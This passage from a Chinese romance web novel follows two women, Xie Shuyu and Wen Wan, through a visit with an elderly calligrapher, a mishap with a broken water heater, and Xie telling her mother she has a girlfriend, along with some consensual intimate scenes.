止步,谢舒毓站在街边打字: [你是个鬼的湘明,骗子!] 对面发来一串省略号。 [我字湘明。] 他拍了个自己的章,那上面确实写的“湘明”。 哦!忘了这茬,还有字呢,怪讲究的。 [那你直接发章不就行了。] 谢舒毓说。 [你让我发的身份证。] 正德老头说。 “还挺老实的。”谢舒毓嘟囔一句。 “到底咋回事。”温晚一路都在猜,“怎么就分手呢,感觉老头人很好啊。” 谢舒毓说年龄差了十多岁呢,她奶奶七十,老头都八十多了。 “不过话说回来,还是得活得久,我爷跟我奶倒是差不多岁数,谁知道他年纪轻轻就死了。” 温晚不知道在那脑补了些什么,一阵接一阵叹气,“奶奶当年要是跟正德老头在一起,说不定能好好的,毕竟志趣相投,一个会写,一个会画。” 谢舒毓她爷是机械厂工人,那个年代,结结实实的铁饭碗。 写字再好,也是写在花圈上,赚不到工分和粮票。 “正德比奶奶大了十多岁呢,又没钱,鬼才跟他结婚。再说,真跟他结婚了,就没有我了。”谢舒毓说。 温晚仔细一想,有道理。 “话说回来。” 谢舒毓压了压嗓,“我爷死了那么多年,你怎么知道她跟正德就没个一腿半腿的?” 温晚“啊”一声,“什么呀!你怎么可以乱说。” “不是乱说。”谢舒毓又开始明嘲暗讽,“你才活了三十多年,都交了好几个,又是小婷又是小君的,奶奶七十多,人生经历相当丰富的好吧。” 小君温晚认了,那是她一辈子无法抹去的一个污点,污点! “但小婷是怎么回事?你不要乱讲!” “怎么回事还用我说,你跟她睡一张床,说悄悄话,跟她一起骂我。” 不提还好,越说越气,谢舒毓甩开她手,一个人气冲冲走在前面。 “欸?”温晚莫名其妙。 “又翻旧账,你有毛病吧!”她快跑几步追上,“那我还没说,你跑去跟人相亲,结果人家两母子坐在院里把你骂成狗!” 好好好,谢舒毓停步,原地等,连连点头,说“你行”。 “不如你。”温晚牵住她手,继续往前走。 谁跟谁才是挚友,显而易见。 回到老步行街,花圈店早打烊了,谢舒毓站门口,正要给老头发信息,温晚手舞足蹈,“我来我来!” 谢舒毓把手机递过去,倒要看她说什么。 [出来喝酒。]温晚更夸张。 “还喝!一把年纪别中风了。” 谢舒毓把手机接过去:[小广场跳舞。] 温晚又蹦又跳,嘎嘎直乐,“我还要来,还要来。” [你开下窗。] 谢舒毓一看就知道她自己脑补的偶像剧情节,也不管老头是不是看得懂。 [我在你家楼下。]谢舒毓拿过去补了一句。 温晚回头看一眼,“就一层,哪里来的楼下。” 话音刚落,她呆在那。 昏黑的老街,一闪发光的小门,佝偻老者逆光站在门前,苍老的皮肤在夜晚是厚重的古铜颜色。 他像一尊孤独的雕像,偏偏眼底有泪花在闪。 谢舒毓把画递过去,看到晶亮的水滴掉落在青石板。 正德老头把她们请到屋里喝茶,门面很小,四处堆满香烛纸钱,柜台就是他的书桌,上面有他的笔架、砚台、镇纸、茶杯,还有收款码。 谢舒毓和温晚手牵手坐在一对还没来得及画脸的纸扎人前面,并不觉恐怖,房间里的香烛和纸钱味道,倒是意外很好闻。 正德老头给她们端来泡好的茶水,说画是十年前画的,那时候人还是清醒的。 画被要走,是人进养老院之前的事情。 “不记得我了,有天突然跑到店里闹,骂人,打人,说我偷了她的东西。” 正德老头不知道该怎么办,那个病发作起来,把人变得不像人。 “画取下来,她拿走,之后再也没来过,不跟我出去散步了,更别提写字画画。” 城镇里一半的死老太死老头,曾经都是奶奶和正德合力扎的花圈,写的挽联。 “我倒希望她走在我前面。” 正德老头说,希望能为她做点什么,不想看着她一直活受罪。 “你们奶奶,从来是个体面人,大家闺秀,只是那个年代,对她并不友好,她没有机会展示自己。” 下午在养老院吃饭,温晚听护士提起,说是有个老头常去看望奶奶,找张桌子,笔墨纸砚拿出来,若无旁人开始写大字。 他不跟奶奶说话,但奶奶看到他写字,会自动走到他身边,拿起笔,也在旁写写画画。 必然就是正德老头。 周亦的朋友圈里,酒店门前,正德老头精神抖擞,拥有一种赴死般的坚毅无畏,这时灯下捧着奶奶曾经送他的画,眼泪顺着满脸沟壑乱七八糟淌。 泡的茶晾得差不多,喝完,她们起身离开小店。 县城人口少,歇得早,出了步行街,外面马路上看不到几个人了,只有路口几个推着板车卖水果的,灯下无聊刷着短视频。 温晚很为谢舒毓感到忧愁,“听说老年痴呆是会遗传的,你老了也变傻不认得我怎么办呢?” 真是想想就难受,“你肯定也很难受,但是你自己都不知道。” 默默牵紧她手,谢舒毓想起,“学敏姐说过类似的话。” 温晚:“什么?” “学敏姐说,跟你在一起,我不会得老年痴呆。” 谢舒毓苦笑一下,“就像你说的那样,正德老头和奶奶志同道合,她人都糊涂了,看到正德老头,还是会自动走到他身边,跟他一起写写画画。如果换作现在,奶奶不需要考虑经济和年龄差,也许会生活得很幸福。” 但那个时代太多阻碍。 “所以现在那么好的环境,我们不可以再畏畏缩缩!” 谢舒毓蓦地握拳,“没有什么可以阻拦我们,也没有人可以拆散我们。” 温晚扬起脸,灯下,她整个人暖融融的,连头发丝都在发光。 “那你会把我们的事告诉你妈吗?”温晚试探着。 “当然。”谢舒毓毫不犹豫。 “也不用着急。” 温晚不想让她为难,“我们慢慢来,反正日子还长。” 谢舒毓点点头,水果摊前停下来,买了一串葡萄,几个苹果。 这天晚上,她们牵手从美美洗浴旁边经过,远远看见大姨坐在屋里磕瓜子刷剧,谢舒毓当时还十分不屑一顾,没想到十分钟后,她一手牵着温晚,一手又提着洗浴篮子出现在美美浴室门前。 “让你说中。”谢舒毓垂头丧气的,“我们又来了。” 大姨小拇指戳一下平板,暂停,还是那句话,“办个会员呗,预存五十。” 今天已经花了很多钱,谢舒毓摇头,“明天就来水了,我也会找人来修热水器。” “你都花了好几十,早听我的,五十块够你们连着洗半个月!我还能免费让你们接水回去用。” 大姨忍不住嚷嚷起来。 谢舒毓仍是说不,“假期快要结束,我们就要走了。” “随你的便。”大姨继续看剧。 进浴室之前,谢舒毓还是忍不住问:“为什么整个小区都停水了,你的浴室还有水呢?” 今天好多人过来洗澡,门前听见里面哗啦哗啦。 谢舒毓怀疑,“姨你不会是什么隐藏的大佬吧?还是你故意破坏了管道。” 前半句大姨没听懂,后半句听懂了,而已反应很大。 “谁破坏管道,谁破坏管道!你说清楚!” “那怎么就你的浴室有水。”谢舒毓费解。 “她这边是农村用水,我们那边是城市用水,不是一个管道。” 门口又进来个姨,显然是充了会员的,直接报手机尾号和姓氏。 谢舒毓拉着温晚灰溜溜进去。 “还没扫码呢!” 大姨尖叫,用力拍桌。 谢舒毓问出来给行不行,她想快点跑。 “不行!”大姨被惹毛了。 “欸——”谢舒毓硬着头皮回去。 温晚帮着说话,“我们是消费者,是上帝,你不可以这样凶我们。” “不洗就滚。”大姨说。 “滚就……”温晚张嘴就来。 小音箱播报,到账二十,谢舒毓赶紧拉着温晚往里走。 谢舒毓来之前想得好好的,看书画画,陪奶奶散步,给奶奶做饭,结果刚到地方就碰了一鼻子灰。 接下来几天,没一天是消停的,破热水器更把她弄得精疲力尽,抠抠搜搜花了很多钱。 第二天一大早,谢舒毓找王奶奶联系了人过来修,结果对方告知,里面热水管坏了。 以为换个阀门就能解决的事,师傅说这破玩意连修都没必要修,型号太老,出水太小,不如添个几百直接换新。 “现在热水器很便宜的,小的那种。”师傅比划说。 “几百?!”谢舒毓不自觉拔高音量。 师傅以为她问价钱,“连机器带安装,七八百。” 谢舒毓疯了才会去换,她表情管理全线崩溃,行为都不受控。 “请您离开。” “嗷,我白跑一趟。”师傅两手一摊,站那说。 “你打车来的吗?”温晚意思是给他报销费用。 人扭头就走,“砰”一声把门砸得震天响,楼下摩托车嗡嗡嗡,渐渐远了。 谢舒毓穿条大裤衩站在那,脑子也嗡嗡嗡的,只觉人生艰难。 温晚拍拍她肩膀,安慰说:“没关系,他自己走了,我们节约了十块钱。” 谢舒毓双手抱头,蹲到地上,“也就是说,我们晚上还得去美美浴室。” 命运啊,命运,诡谲的命运。 现在不仅仅是花钱的事了。 丢人,好丢人! 温晚说不怕,“到时候我去对付她!” 这天是她们假期倒数第二天,整天什么事情都没有发生,温晚对镜模拟过很多遍,大姨要再为难她们,她会好好跟她讲一讲人生的大道理。 出来混,总要交学费的嘛!你敢保证自己一辈子没犯过傻? 到了晚上,她们提着小篮子去美美浴室,柜台里坐的却不是大姨。 “我妈打麻将去了。”里头小姑娘说。 温晚有种一拳打在棉花上的无力感。 谢舒毓又扫了二十过去。 第56章 我心里有喜欢的人了 “早知道充会员了。”谢舒毓不知第多少遍念叨。 人有时候真的很奇怪,正德老头只要二十块劳务费,她硬给人二百,美美浴室五十块钱会员舍不得充,两人四天,多花三十块。 温晚掰着手指头帮她算,“维修师傅的交通费没给,赚了十块。” 谢舒毓略感欣慰,总结:“所以说人不能太倔强,维修师傅那趟本来可以拿到个盒饭钱的,暴脾气,到嘴的鸭子飞了。” 温晚重复:“是啊,人不能太倔强。” 也不知道这话说给谁听。 下午要开车回去了,谢舒毓前前后后收拾东西,温晚坐在沙发上玩手机,半晌见她恢复得差不多,突然“欸”一嗓。 “怎么了?”谢舒毓急匆匆从卧室跑出来,“是不是撞到哪里。” “没。”温晚气定神闲仰靠在沙发背,“只是想起丢在楼道里的那份烧烤,有点可惜。” 谢舒毓捶胸顿足,“你不说我都忘了,亏啊,我们亏大了。” 温晚四脚朝天在那乐。 半分钟后,她笑容消失,看见谢舒毓把她穿大花裙子和高跟鞋站墙头的照片发微博了。 最近谢舒毓粉丝暴增,有专业人士分析面相,说她长得不太正直,谢舒毓闷不吭声,温晚照片直接丢出去,连个文案都没有。 保险起见,给温晚打了码,但有在公园偶遇过她们的女孩评论说见过,说小毓老师的女朋友长得非常漂亮,下面还跟了照片。 温晚点开大图,看到自己撇着腿坐在路中央…… 幸好只是张背影。 评论区问,为什么她每次不是在墙上就是在地上,是不是美女都那么不在乎形象。 温晚绝望得想死。 又有人说,脸都看不到,怎么判断美丑的。 温晚切小号:[美是一种感觉。] 昨天在浴室,好几个大姨夸她身材好,前凸后翘的。 丢脸确实丢脸,但不管是站在墙头上,还是坐在鹅卵石小路上,她都是美美的!那就够了。 哼—— 官宣嘛,小筷子出发点是好的,温晚大方摆摆手,不计较。 谢舒毓找了几张旧报纸把风铃包起来,装在书包里,温晚说,还想带几张奶奶的画,拿去挂在她家大别墅里。 她外公以前就很喜欢奶奶的画,只是奶奶性格孤僻,不爱交友,外公一直没找到机会。 好些画都没裱,时间太久,发软发潮,像晚年的奶奶,都禁不起太大折腾。 谢舒毓找了根擀面杖,用报纸一层夹一层卷起来。 温晚蹲在旁边看,觉得她好聪明,怎么那么聪明呢。 “很简单呀。”谢舒毓说。 温晚歪一下头,“我想不到。” “你除了吃就是睡,你能想到啥。”谢舒毓随口一句。 温晚真服了,“你现在说话跟表姑姑一模一样,人家好好在夸你,你就会恩将仇报。” “为什么呢?”谢舒毓也在思考这个问题。 常常言不由衷,似是在逃避什么。 “也许是因为害羞,无法坦然面对夸奖,明明是好事,却感觉羞愧难当,为了转移话题,开始胡言乱语。” 随着年龄的增长,一天一天,她在慢慢挖掘自己。 “我会纠正的,争取变得更勇敢一些。” 谢舒毓低着头,用旧报纸把擀面杖完全包严实了,胶带粘起来。 温晚蹲在一边,看她慢条斯理做事,过长的刘海用抽屉里翻出来的蝴蝶结发卡别起,有调皮的几缕垂下,随行动左右摇晃。 她妈说不生小孩就可以永远保持年轻,是真的,现在的谢舒毓还是跟上高中上大学时候一样,纯质天真荡漾在甜蜜笑窝。 温晚看她看得着了迷。 谢舒毓犹犹豫豫、摇摆不定的时候,是真气人,但她一旦坚决起来,就很难被说服。 她想好了,就表白,说“我们在一起吧”,网友开玩笑问她是不是一个正直的人,她直接发女朋友照片。 “我好喜欢你。”温晚不管不顾扑上去,抱住她。 “哎呦——” 谢舒毓一屁股坐到地上,笑意飞扬在脸颊,嗅闻熟悉的发香,“怎么了呀。” “没怎么呀。”温晚左右扭扭,“就想抱抱你。” “你那么喜欢我呀——” 谢舒毓拉长音调,学人撒娇。 温晚跟她额头对着额头,鼻尖对着鼻尖,噘起嘴巴“啵”一下,“我明天不想上班,我想请假。” 想回家看看,想跟谢舒毓待在一起。 “但不想自己一个人开高速了,到时候让我爸开,送我回去。” “那你当时怎么想到半夜开车来找我。”谢舒毓继续亲她,问题心中早有答案,还是想听她亲口说出。 温晚半闭着眼睛,被亲得有点热,“答案就在问题里呀。” “那问题是什么嘛。”谢舒毓后背抵在沙发,手环住她腰,吻她形状清晰的锁骨。 有点喘,温晚哼哼说“想你”,抓着人手往那送。 隔着睡裤,谢舒毓顺从轻揉,温晚呼吸不畅,忍不住低低喊了几声,谢舒毓托起她臀,把她抱到沙发。 半只拖鞋还挂在脚背,脚尖翘得高高,温晚仰面看着天花板,小腿肚搭在谢舒毓肩膀。 她以前真的不知道,跟喜欢的人做这种事情,原来那么快乐。 曾努力想象过,接吻到底是什么感觉,小说中描写的“过电”和“白光”又到底什么滋味,她总不能真去摸电门。 现在她知道了。 一天天热起来,才折腾没多久,温晚满背满头的汗。 她全身皮肤发红,谢舒毓拿湿毛巾给她擦,说像只小粉猪,她气得踹了一脚,软绵绵没什么力气,被人轻而易举握住脚踝。 汗涔涔的夏,没空调的老房子,墙角几串灰尘精灵偷偷躲在那看。谢舒毓亲了一下温晚脚背。 浑身一酥,温晚结结实实打了个颤。谢舒毓顺着她小腿往上,持续的吻落在她腿肚,膝盖,大腿及内侧。 谢舒毓起身离开,继续收拾东西,温晚躺在沙发,意犹未尽舔唇。 好喜欢哦。 这么会钓,不要命啦! 临走,她们专程跟王奶奶和她大闺女道别,感谢奶奶这几天的照顾,答应下次来给她买礼物。 王奶奶送她们到小区门口,说自己什么也不要,能常回来看看就行。 “见到你们,奶奶就高兴。” 她抹眼泪,说她的几个孙子外孙都在大城市,过年也不回来。 “那就随便她们。” 谢舒毓看一眼王奶奶身后她大闺女,“珍惜眼前人,珍惜陪伴在自己身边的人,无论是谁。” 王奶奶明显愣了下。 “奶奶再见,姑姑再见。” 出小区,上车,谢舒毓低头系好安全带,“所以人根本不需要有后代,老了不是进养老院,也是自己在家待着。” 话音刚落,李蔚兰电话进来,问她今晚要不要回家吃饭。 谢舒毓拒绝得干脆,连借口都懒得找,直接说“不”。 “给你买了些礼物。”李蔚兰在电话那头小心翼翼说。 谢舒毓问是什么,李蔚兰以为还有转机,语气变得轻快,“买的土特产,还有纪念品。” “没什么用啊。”谢舒毓下一句紧跟。 “一点心意。”李蔚兰说。 “我不要。”谢舒毓直接把电话挂了。 温晚在旁,双手握着方向盘,眼睛睁得大大圆圆,身体朝右微偏,是个偷听的姿态。 “今晚去你家。”谢舒毓直接说。 “好嘞!”温晚启动车子。 离开小县城之前,她们绕道去了趟养老院,跟奶奶道别。 温晚来的时候被狗追,走的时候还惦记着要报仇,车停在公园外,执意要走小路。 不放心,谢舒毓半路捡了根棍子攥手里,到铁门边,没见着狗,温晚又蹦又跳,“来啊,你们出来呀,有本事来咬死我呀!” 旁边山坡上本是静悄悄,人声刚落,顿时犬吠四起,山上四五只狗嗷嗷冲下山。 温晚尖声大叫,谢舒毓拉着她往铁门方向跑。 上次来,大铁门里面那扇小铁门是开着的,这次竟然被人锁上了!谢舒毓猛拽了几下,没拽开,心里“咯噔”一下,完了。 温晚本能往来时方向跑,这次穿的平底鞋,速度那叫一个快,眨眼就没了影。 什么叫大难临头各自飞,谢舒毓真真体会到了。 四五只狗在后面追,她心脏咚咚狂跳,跑几步意识到不行,转身,举棍面对狗群,站定不动。 她停,狗也停,两方默默对峙,谢舒毓缓缓倒退,直至拐角处。 狗群停止追逐。 温晚已经跑回车里躲起来,降半扇车窗,两颗黑眼珠滴溜溜。 “我真服了!”谢舒毓一面大声说着,一面朝她走去,木棍连续敲击地面,“我服了,铁服。” 温晚迅速拉开车门跑下去,“你没事吧?” 这是个啥样的女人啊,谢舒毓举起棍子,“我要休妻!” “那人家害怕嘛——” 温晚狂拍马屁,“你总有办法,你把那些狗全吓跑了,你是女中豪杰,真正的英雌!” “闭嘴!”谢舒毓扔了棍子,让她老实站着别动,“我踹一脚,就消气。” “好呀好呀。”温晚朝前小蹦半步,两手顺着左右腰线往下那么一抚,臀高高翘起,“只要你能消气,别说踢我屁股,啃我屁股也百分百没问题呀!” 谢舒毓气笑不得,到底没舍得踹,见四下无人,走近拍两巴掌,还狠狠掐了把。 “过瘾吧。”温晚揽着她胳膊问。 谢舒毓笑。小腚浑圆,又紧又翘,险些掐不起。 温晚手环住她腰,顺着往下捏了把,“你也不赖。” 午饭她们在外面吃的,这个点按理说奶奶该睡下了,她们本来计划隔窗看一眼就走,到楼下大厅,正德老头竟也来了,吃饭的长桌边写大字。 奶奶也在,穿一件盘扣小立领中式上衣,棉麻材质,温暖的米白颜色,衣摆位置还绣了朵素色牡丹。 梅香姐说,正德老头每周雷打不动来两次,每次奶奶都盛装打扮,早饭后眼巴巴盼着人来,上午写字,下午画画,傍晚牵手在院里散步,七八点天黑尽才走。 她们远远看着,老头不知在奶奶耳边说句什么,把人逗得哈哈笑,哎呦喂,可把别的老太太羡慕坏了。 “挺好的。” “挺好的。” 没打扰,她们开车走了。 谢舒毓终于明白,奶奶之前跟她们住在市里,为什么会离家出走,原来还有老情人在这儿。 爱情的力量是伟大的,梅香姐还说,正德老头在的时候,奶奶不怎么犯糊涂,即便有,老头很快也能把她安抚好。 “怪不得我妈不让把人接走。”谢舒毓敲了敲额头。 她容易心软,觉得那时候的自己说话语气重了,刚才妈妈电话进来,态度也不够友好,想想还是回拨过去。 李蔚兰接到电话,颇感意外,谢舒毓摸摸耳朵,想想说:“刚见到正德老头了,在养老院,带着奶奶写字画画。” 李蔚兰“哦哦”两声,“他人还是不错的,跟你奶奶是几十年的好朋友。” 果然,李蔚兰知道。 “之前是我态度不好。”谢舒毓飞快说了一句。 她有时候对自己感到特别无语,总在道歉,也太没出息了。 可她就是没办法狠心,对李蔚兰,对温晚。 “那……” 李蔚兰吞吞吐吐,应该还是想叫她回家吃饭,谢舒毓及时打断,“我这几天都跟小碗在一起,今天答应要去她家。” “我就想见见你。”那边说。 那见吧,就在外面见一面。 下午三点,温晚车进市区,停在谢舒毓家小区地下停车场。 李蔚兰站在楼栋门前等,两人坐电梯上来,见面温晚先打招呼,李蔚兰今天穿一条藏蓝色短绒面料的连衣长裙,低跟皮鞋,蓬卷发,看到温晚,眼睛明显亮了下,轻声问:“你妈妈最近怎么样?” 温晚说挺好,都挺好,李蔚兰提起温瑾,表情有点伤心,“感觉很久没见过她了。” “那干妈今晚跟我们一起去我家吃饭呗。”温晚直接说。 她身体僵了一瞬,摇头,“还是不了。” 谢舒毓站那半天没说一句话,出楼栋的时候,李蔚兰只看了她一眼,目光就不由自主往温晚身上飘,到现在还是一瞬不瞬把人盯着,好像温晚才是她生的。 每当这种时候,谢舒毓都觉得自己实在蠢得可以。 记吃不记打。 温晚也好,谢舒屹也好,都是被独宠长大的小孩,永远热情大方,而从来不被重视的某人,难免心理扭曲。 “你说要见面,原来是为了见温晚。”谢舒毓尽量玩笑的语气,不想迁怒温晚。 骤然回神,李蔚兰面色通红。 “给你买的东西。”她把手里提的塑料袋递过去。 “说了不要。”谢舒毓连接都不接。 她不接,温晚也不接,李蔚兰手臂孤零零横在那,也意识到气氛有点尴尬。 “其实妈就是想跟你道个歉。”李蔚兰垂下手臂,视线落在自己脚尖。 她要一见面就说这句,谢舒毓必然会感动,但太迟了。 “道歉干嘛,你生我养我,无论对我做什么都是理所应当的。”谢舒毓话有点冲,口气却淡淡。 察觉到谢舒毓情绪不对,温晚倏地仰脸。 几人之间,气氛降至冰点,李蔚兰不置可否,只道:“你魏同学那件事,是妈妈对不起你,我也真不知道他现在竟然变成这种人,上次我回去看你奶奶,他妈妈……” “他以前也不是什么好人。”谢舒毓打断。 默了几秒,李蔚兰谨慎抬头,看向温晚,才淡淡扫过温晚身边的谢舒毓。 这种不经意流露的本能,实在太让人伤心。 所以有时候,谢舒毓觉得,她根本也怨不到弟弟身上。 因为李蔚兰对温晚也是这样,如果温晚出生在她们家,得到的待遇跟谢舒屹肯定是一样的。 怪不了爹妈,怪不了谢舒屹,也怪不得温晚。 只能怪她自己,太普通,太寻常,毫无魅力。 强忍泪意,谢舒毓莫名其妙笑了两声,似要掩盖什么。 她语调故作轻快,“其实我答应见面,也有话要跟你说。” 温晚心脏激跃一下。 李蔚兰抬起头,终于直视她。 “我心里有喜欢的人了,我们也已经确定恋爱关系,所以麻烦你……” 抿唇,谢舒毓缓了几秒,“郑重告知一下,妈妈以后不要再给我介绍相亲对象了,我不可能跟一个我不爱的人结婚。” 就这么轻而易举说出来了! 半启唇,温晚表情呆滞,耳边是遥远的海上汽笛声。 悠长,恒久。 “什、什么时候的事。” 李蔚兰也傻了,她从来没听说过消息。 在她印象里,谢舒毓从小到大就像尼姑庵里的比丘尼,清清冷冷,目空一切,永远无欲无求。 高中阶段,谢舒毓借住到温瑾家,她隔三岔五找人打听,孩子有没有早恋,得到的答案是否。 ——“小筷子天天跟小碗在一起,两人形影不离,真早恋,小碗肯定要闹的。” 那边原话。 谢舒毓上大学,身边还是没动静,李蔚兰起初不以为意,觉着她还小,也没像别家大人那样,非逼着小孩找对象,她自觉不是那种封建老古板。 谢舒毓硕士毕业,开始上班,李蔚兰旁敲侧击,她好像还是孤零零一个。 倒也不完全是孤零零,她有几个来往很深的朋友,但都是女孩子。 开始着急,觉得不能再拖下去,李蔚兰才开始给她介绍相亲对象的。 怎么突然就有新情况了。 “那上次,我让你去,你怎么就,就轻而易举答应了呢。”李蔚兰想不通。 “因为我就不是去跟他相亲。” 谢舒毓干脆直说了,说小时候两人结过梁子,她奔着报仇去的。 “我那天骂了他,骂得很难听,他恨我,后来跟他妈一起骂我,只是不小心让温晚听到,录下来。” 说这些干嘛,很烦,且都是些无关紧要的废话,谢舒毓搓搓额头,有点不耐烦。 “总之,我有喜欢的人了,我们感情很好,我喜欢她,她也喜欢我,我们在一起有几天了,这次见面就是跟您说清楚,既然我跟人谈了,就要好好对人家,希望妈妈可以尊重我,尊重我的一切决定,以及尊重她。” 发言完毕。 李蔚兰还是有点没回过神来,她手撑额,“等等,你说‘在一起有几天了’,意思你们这些天都住在一起?在老家,老房子里?” 她看向温晚,“这人你知道吗?” “额——”温晚抓抓后脑勺。 她岂止是知道。 “有两个房间嘛。”温晚只能跟着扯谎。 李蔚兰脑袋“嗡”一下炸了,“三个人,住在老房子里?” “嗯、呢。”温晚点头。 谢舒毓忽然有点想笑。 “这方便吗?”李蔚兰知道现在年轻人都很开放,她是副校长,正校长不管的一切鸡零狗碎都是她在管,比如早恋。 她知道现在年轻人放得开,可也没到这种程度吧? “那他没跟你们一起?” 李蔚兰扭头四处看,以为人不好意思来见她,躲在哪儿呢。 小路尽头,拐进一名黑衣青年男性,李蔚兰神经兮兮,把对面都看毛了,人不由加快速度,跑进楼栋。 温晚抓抓脸蛋,手虚掩唇,笑。 谢舒毓让李蔚兰别看了,说谎她最擅长,“目前异地,是小碗在那边的邻居,明天还得上班,已经坐车回去了。” “跟小碗一个小区……” 李蔚兰反应几息,“那你以后岂不是要嫁外地去。” 谢舒毓说不用,“她就是我们本地的,只是暂时外派到那边,工作结束会回来的。” 李蔚兰“哦哦”两声,人还是懵的,紧接着打听,“是什么家庭的孩子啊,人怎么样,有没有照片,能看看吗?” “家里有钱,开公司,住别墅,父母感情很好。爷爷奶奶没了,外婆走得早,但有个对她很好的姑姑,还有外公。照片没有,她比较腼腆,我们在一起也没多久,没拍合照,但人挺不错的,至于长相……” 谢舒毓一口气断在那,看向温晚。 “简直完美,明星,漂亮得无与伦比。” 温晚手舞足蹈,表情夸张,“我见了都想抢过来!” 李蔚兰目瞪口呆。 “那是独生子女了。”她嘟嘟囔囔,“听起来,条件很不错。” 比那个魏安庆确实强不少。 “认识多久谈的呀。” “二十多年,老同学。” 谢舒毓生怕人猜不出来,“从小到大特别要好,我也是最近才知道她那么喜欢我,哈哈。” 李蔚兰听得稀里糊涂,有这号人物吗?她怎么一点没听说。 “那小碗也认识。” “认识,特别认识。”温晚点头如捣蒜。 本人,在此。 第57章 说不定哪天就分了 已经暗示得很明显,李蔚兰还是一点没往温晚身上代,追着她问:是真的吗?是真的吗? 真哒呀!真哒呀!温晚乐得直拍巴掌,“两人感情特别好,性生活也极为和谐,每天晚上鬼喊鬼叫的,哎呦吵死人了。” 谢舒毓绝望闭上眼睛,脸转到一边。 李副校长老脸通红,“你这孩子,怎么什么事情都往外说……” “我们关系好嘛。”温晚发出连串的“嘿嘿”声,像村口二傻子。 不过这招确实好使,李蔚兰不敢再往深了打听,生怕知道更多细节,塑料袋强塞给谢舒毓,说拿回去吃,赶紧溜了溜了。 谢舒毓打开袋子看了眼,当地一些土特产,还有明信片和冰箱贴之类的文创用品。 她还没有自己的冰箱,书桌靠墙竖的那面洞洞板倒是能贴,但这些树脂、金属或木质的陌生城市地标,她并不向往。 还是分人。 回到车上,谢舒毓收到李蔚兰三百字小作文,内容围绕“妈妈只是希望你幸福”主题展开发言。 从前,谢舒毓觉得收到妈妈的信是件很幸福的事,谁家母女这么掏心窝子,一天一篇小作文。 现在她只希望大家保持距离。 另有一点,谢舒毓困惑,为什么妈妈眼神从不在她身上过多停留,却总给她写信,说有多爱多爱。 停车场有股闷闷的塑胶味,车载香薰也无法掩盖,谢舒毓头微微偏向窗外,看到车后视镜里的自己,像一条绝望的鱼,被困在狭小昏暗的地下世界,已经很久没看到过太阳。 她给李蔚兰回复信息:[不要再自我感动了。] 真的爱我,为什么说话的时候从来不看我,为什么那专注的神情、目光永远不是瞄向我。 [你让我感觉,我是一个很糟糕的人,你的爱是虚假的,只是出于责任。啊,这个从我肚子里生出来的小家伙,并不是我喜欢的模样,但既然生下来了,就不能不管,快些给她安排个对象结婚吧,等她组建了自己的家庭,我就算完成任务。] 不要否认,谢舒毓告诉她,也不要狡辩,我相信自己的眼睛,相信自己看到的一切。 不要妄图欺骗我。 [现在,我有了自己的恋人,我们很相爱,妈妈可以为我放心了。] 谢舒毓曾经设身处地站在妈妈的角度思考问题,她远嫁他乡,父母缘淡薄,所以理所当然觉得女儿不值得被过分倾注感情…… 可是,为什么她用那样的眼神看着温晚,而不是自己的亲生女儿。 我到底怎么了。 [以后不要给我发长信息,超过五十个字,我拉黑你。] “咻”一声,消息发送。 谢舒毓耷拉着脑袋,过长的刘海遮盖了眼睛,手机屏昏暗的环境中幽幽亮着光,规范黑体字被大颗眼泪晕染开,扭曲、融化。 一双手从旁边伸过来,将她湿乱的发拢至耳后,随即温热触感覆盖脸颊,点点吻去咸涩。 泪眼朦胧抬起头,谢舒毓哽咽问道:“我真的是一个很糟糕的人吗?我不值得被爱吗?” 为什么妈妈不喜欢我。 她想,答案是的。 有些人,天生就招人喜欢,一张脸灵动有神,卖萌撒娇手到擒来,就像那些大导演常说的观众缘。 有些人,死气沉沉,像墓碑,像枯树,是凝固的水域,湖底的淤泥。 原本,谢舒毓根本不在乎自己是不是被人喜欢。 身边出现对照,难免有落差。 暗搓搓跟人比较,那个人还是自己女朋友。她甚至没办法说出口。 “还记得今天上午,我们离开小区的时候,你跟王奶奶说的那句话吗?” 温晚亲了亲谢舒毓的睫毛,捧起她脸,认真看着她。 “什么?”谢舒毓有点不记得了。 “你说,要珍惜陪伴在身边的人,无论是谁。” 温晚继续亲她,鼻梁,嘴唇,“有很多人喜欢你的呀,你的微博粉丝,她们都叫你小毓老师,只在电视上看了你一眼,全部镜头加起来可能不超过五分钟,就千方百计找到你,私信跟你表白,毫不吝啬对你的欣赏和赞美。” 还有我啊,温晚说,我很爱很爱你,我敢对天发誓,我是这个世界上最爱的人。 喜欢你的人也不少,奶奶,王奶奶和她大闺女,叶子和阿音,学敏姐,梅香姐,楼下李大爷,正德老头…… “是妈妈又怎么样?”温晚愤慨道:“不尊重小孩的,不爱护小孩的,都不是好妈妈。” “可妈妈只是不爱我。” 如果她谁也不爱,只爱自己,谢舒毓举双手双脚赞美。 可妈妈只是不爱我,所以才那么伤心。 偏偏,她每次提前知道我要回家,都会为我打扫房间,准备我爱吃的菜,会约我到楼下散步,给我写信…… 在我面前,她流泪哭泣,毫无防备展示自己柔软的一面,还会像大多数家长那样,用自以为对我好的方式,强迫我做一些不喜欢的事。 谢舒毓想不通,真想不通。 “或许,她只是向往你身上柔软体贴的女性特质,因为在家庭中,她难以寻求到共鸣,从她的丈夫和儿子身上。” 温晚抓抓脑门,“哎呀我去,不会真让叶子说中了吧。” 谢舒毓摇头,“随便她是什么样的人,无所谓她过去我不知道的种种神奇遭遇,总之我不会再回应她的需求。” 有一种恨叫当时不懂。 当时不懂,自己是不被偏心的孩子,当时不懂,她原来承受了那么多冷待。 数年后,猛然回首,忽然懂得,却再也没有弥补的机会。 长大,自由的反面,是懂事后过分清醒带来的绵绵针痛。 但我们最终都要脱离家庭,找到一个全新的自己。 哭好了,谢舒毓扯袖擦擦眼睛,“其实我当时应该直接说出来,告诉她,我们在一起了,我喜欢的人是女生,是你。” “你不是直女来的。”温晚冷不丁一句。 谢舒毓抬起头,静静看着她。 半晌,两人笑开。 “差点忘了,我是直女。” 吸吸鼻子,谢舒毓轻推开温晚,“请女同性恋保持距离,不要因为我过分美丽而爱上我。” “可是,爱上直女是我的宿命。” 温晚重新贴过去,亲亲她睫毛,“该死的直女香,真是令人着迷。” 破涕为笑,谢舒毓心情好转,低头牵起她手,牢牢牵住。 离开幽暗沉闷的地下车库,车开到大路上,还不到四点,外面的世界一派崭新明亮,远方的云,近处的树,样样充满希望。 “感觉没那么糟糕了,对吧!”温晚轻快道。 谢舒毓点头,继而想到温晚在开车,看不到,她用力“嗯”一声。 “不过,公开的事你先别着急。”温晚还没想好怎么跟家里交待。 “我要说我喜欢你,我们在一起了,我妈肯定觉着我有病。喜欢还跑那么远,不回家,玩异地恋,脑子有坑。” “确实。”谢舒毓说。 